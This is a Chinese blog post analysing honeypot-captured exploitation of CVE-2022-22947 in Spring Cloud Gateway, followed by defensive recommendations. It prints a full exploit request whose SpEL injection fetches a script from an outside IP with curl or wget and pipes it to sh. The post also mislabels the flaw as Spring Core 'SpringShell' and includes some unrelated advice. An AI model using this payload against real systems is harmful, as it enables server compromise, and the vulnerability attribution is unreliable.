利用蜜罐检测SpringShell威胁:实战分析与防御策略

本文详细介绍了如何通过低交互蜜罐模拟Spring Cloud Gateway应用,捕获黑客利用Spring Core漏洞(CVE-2022-22947)进行远程代码执行的攻击行为,包括攻击流量分析、恶意脚本解码和防御建议。

SpringShell威胁检测:利用蜜罐捕获黑客攻击

远程代码执行漏洞:Spring Cloud Gateway的威胁

2022年初,Spring Cloud Gateway中发现了一个严重漏洞(CVSS评分:10.0)。当Gateway Actuator端点启用、暴露且未正确保护时,攻击者可通过Actuator API执行SpEL(Spring表达式语言)注入,导致系统完全被控制。受影响的版本包括3.1.1和3.0.7之前的所有版本(NVD - Cve-2022-22947, n.d.)。

威胁行为者通过精心构造的恶意请求,利用该漏洞在目标主机上插入任意远程代码。

蜜罐:主动威胁狩猎

蜜罐是一种故意设置错误配置和漏洞的工具,用于收集威胁行为者利用数字连接资产和目标应用的策略和方法。这种陷阱机器让攻击者误以为是真实目标,同时被监控和记录。

蜜罐的主要目的是吸引恶意行为者(如黑客和网络罪犯)并与之互动,收集有关其战术、技术和工具的宝贵信息。收集到的数据可用于威胁情报、研究和改进整体网络安全防御。

蜜罐为组织网络安全带来的价值

  • 早期攻击检测:在攻击到达实际资产之前预先阻止。
  • 威胁情报:获取对新攻击、漏洞利用、恶意软件、工具和技术的洞察。
  • 签名生成:为新发现的攻击生成解药。
  • 分散注意力:将黑客从实际资产中引开。
  • 安全验证:验证组织环境的安全性。

蜜罐类型

在部署蜜罐之前,了解各种类型及其在威胁检测中的战略作用至关重要。

按攻击资源类型

  • 客户端蜜罐:利用客户端漏洞,也称为主动蜜罐。
  • 服务器蜜罐:利用服务器端漏洞,也称为被动蜜罐。

按交互级别

  • 低交互:为黑客提供模拟环境,没有实际资产。通常设置简单。
  • 高交互:提供真实环境和资产,与黑客进行更长时间的互动。通常设置和维护成本较高。

按部署类型

  • 生产蜜罐:在生产网络中欺骗黑客,保护实际资产。
  • 研究蜜罐:用于深入了解黑客策略。通常黑客可以“越狱”进入完整的实际资产。

实现:收集PoC漏洞利用和恶意软件

图1显示了低交互蜜罐中的模拟环境,用于与威胁行为者互动,并收集针对Spring Cloud Gateway应用的漏洞利用和恶意软件。

网络流量分析

攻击者发送Post请求和JSON代码,在Spring Cloud Gateway中创建新路由,并通过JSON配置文件配置该路由的响应头。

步骤1:图2显示了使用深度包检测从PCAP转储文件中提取的“Post”请求和响应通信。

步骤2:通过Spring Gateway的/actuator/gateway/refresh端点触发配置重新加载,如果未正确保护,可能允许攻击者应用恶意配置更改(参见图3)。

步骤3:图4显示了远程命令执行,通过SpEL注入获取创建的路由以确认命令执行(例如,uid=0(root))。

步骤4:图5显示了删除创建的路由以避免检测。

解码Base64 Shell代码

一旦Base64脚本被解码,URL中嵌入了一个脚本,如图6所示。在受控的隔离环境中,使用Linux机器上的wget命令手动下载该脚本后,发现其中包含名为“KINSING MALWARE”的恶意软件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:802
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip
{
"id": "BuOHOGeywH",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}

使用VirusTotal API分析“KINSING MALWARE”,如图7所示,AV扫描器给出的威胁评分为39/66。

修复和建议

  • 使用下一代防火墙增强保护,并配置针对SpringShell漏洞和利用的保护规则集。
  • 部署区域或商业Azure应用程序网关。启用专门设计用于防御SpringShell利用的WAF规则。
  • 最强的防御是升级到最新修补版本的Spring Security。开发人员还应测试一致的响应时间,无论登录凭据是否有效,以避免向攻击者泄露线索。
  • 安装最新的防病毒扫描器,并定期更新AV扫描器的签名数据库。
  • 实践主动威胁狩猎,而不是完全依赖反应性安全方法。
  • 教育用户和员工有关网络卫生实践。

参考

  1. NVD - cve-2022-22947. (n.d.). https://nvd.nist.gov/vuln/detail/cve-2022-22947
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计